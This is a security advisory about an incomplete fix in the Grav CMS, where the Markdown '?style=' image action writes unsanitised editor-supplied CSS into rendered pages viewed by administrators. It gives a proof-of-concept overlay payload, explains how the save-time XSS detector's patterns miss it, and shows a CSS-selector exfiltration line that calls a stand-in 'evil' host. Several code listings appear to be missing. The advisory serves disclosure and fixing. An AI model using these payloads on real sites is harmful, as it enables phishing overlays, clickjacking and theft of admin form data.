GHSA-pmf8-g7c8-7v54

Описание

Summary

The fix for GHSA-r7fx-8g49-7hhr / CVE-2026-42841 (Stored XSS via Markdown media attribute() action) is incomplete. The maintainer patched MediaObjectTrait::attribute() to deny dangerous attribute names (event handlers, style, xmlns, srcdoc, formaction) but the sibling MediaObjectTrait::style() method is reachable through the same Markdown excerpt-action pipeline and writes editor-controlled strings straight into the rendered <img style="…"> attribute with no sanitization.

Any user with admin.pages permission (e.g. an editor) can save Markdown like:

which renders to a stored-CSS payload that any higher-privileged viewer (administrator, super-admin, reviewer) loads in their authenticated session. Same trust boundary, same victim, same attacker, same Markdown input vector as the patched GHSA-r7fx-8g49-7hhr issue — the fix simply patched the attribute() entry point and missed the style() sibling.

Affected versions

Vulnerable at HEAD across every currently-shipping branch (verified 2026-06-15):

Per SECURITY.md, this advisory targets the 2.0 line (publisher-level exploit, not eligible for 1.7 backport per the project's stated policy).

Trust boundary

Per the project's SECURITY.md:

A vulnerability is when an actor can escape the trust scope of their role: a publisher whose stored content compromises an admin session, an unauthenticated visitor who reaches a privileged sink, an account at any tier that gains capabilities it was not granted.

An editor authoring Markdown is operating within their role. A higher-privilege admin loading that editor's page in their authenticated session and getting attacker-controlled CSS painted into their browser is across the trust boundary — the same framing that was accepted for GHSA-r7fx-8g49-7hhr (MODERATE) and GHSA-c2q3-p4jr-c55f (MODERATE).

Details

Original GHSA-r7fx-8g49-7hhr fix (commit 5a12f9be8, 2026-04-23)

style is the second-named entry on the denylist — the maintainer explicitly recognised that editor-supplied style was dangerous when arriving via the attribute() action. The fix simply didn't reach the parallel sink.

The unpatched sibling: MediaObjectTrait::style() (line 519)

The function is unchanged before, during, and after the GHSA-r7fx-8g49-7hhr fix. The PHPDoc on the very next line names the Markdown invocation form (?style=…). The rtrim is for clean concatenation, not security.

$styleAttributes is concatenated and assigned to attributes['style'] in parsedownElement() (lines 242–251):

Parsedown then runs htmlspecialchars on the value (so quote-breakout into a new attribute is blocked), but arbitrary CSS as the value is enough.

Source → sink trace

The Markdown processor wires query-string keys to method calls on the Medium object (system/src/Grav/Common/Page/Markdown/Excerpts.php:262):

?style=position:fixed;top:0;left:0 becomes $medium->style('position:fixed;top:0;left:0').

Save-side XSS detector misses the payload

AdminController::savePage() runs Security::detectXssFromArray() on data[content] before persisting (classes/plugin/AdminController.php:1402). All five default patterns miss the Markdown form:

• on_events: requires <…on*= in source.
• invalid_protocols: requires javascript:/data:/etc. — the phishing-overlay payload uses none.
• moz_binding: requires -moz-binding: literally.
• html_inline_styles: requires <…style=…(url:|x:expression); Markdown source has no < and no url:.
• dangerous_tags: requires <svg/<script/etc.

Save proceeds, the payload persists, the CSS is rendered to every viewer.

Impact

• Phishing overlay — full-viewport position:fixed covering the admin UI with attacker-controlled background/content; admin clicks intended actions into the attacker's overlay.
• UI redress / clickjacking — invisible overlays hijacking admin button clicks.
• CSS-selector data exfiltration — input[value^="a"] { background: url(//evil/log?c=a) } against form fields the higher-privileged viewer interacts with.
• Persistent admin-UI denial-of-service — position:fixed; background:white covers the page until the offending content is removed by hand on the server.

The stored payload reaches every user who views the editor's page — including administrators previewing pending changes.

Proof of concept

A deterministic end-to-end PoC against a real Grav install ships with the finding (repro.sh). Steps:

1. Log in as an editor (admin.pages + admin.pages.update, no admin.super).
2. Upload a benign image to a target page.
3. Save the page with the Markdown payload ![alt](image?style=position:fixed;top:0;left:0;width:100vw;height:100vh;background:white;z-index:9999).
4. Visit the public page; observe the <img style="…"> carrying the unsanitised CSS.

Suggested fix

Apply the same denylist + identifier-shape gate to style() that isSafeAttributeName() enforces for attribute():

Alternatively, deprecate the Markdown ?style=… action entirely — themes can still set inline styles from PHP, but accepting attacker-controlled CSS from page content was always a footgun.

Defense in depth: extend Security::detectXss()'s html_inline_styles rule to also match Markdown-form ?style= query parameters in data[content] on save.

References

• Original advisory: GHSA-r7fx-8g49-7hhr
• Fix commit: 5a12f9be8 (system/src/Grav/Common/Media/Traits/MediaObjectTrait.php)
• Unpatched code: system/src/Grav/Common/Media/Traits/MediaObjectTrait.php lines 519–524
• Project security policy: SECURITY.md (trust-boundary severity model)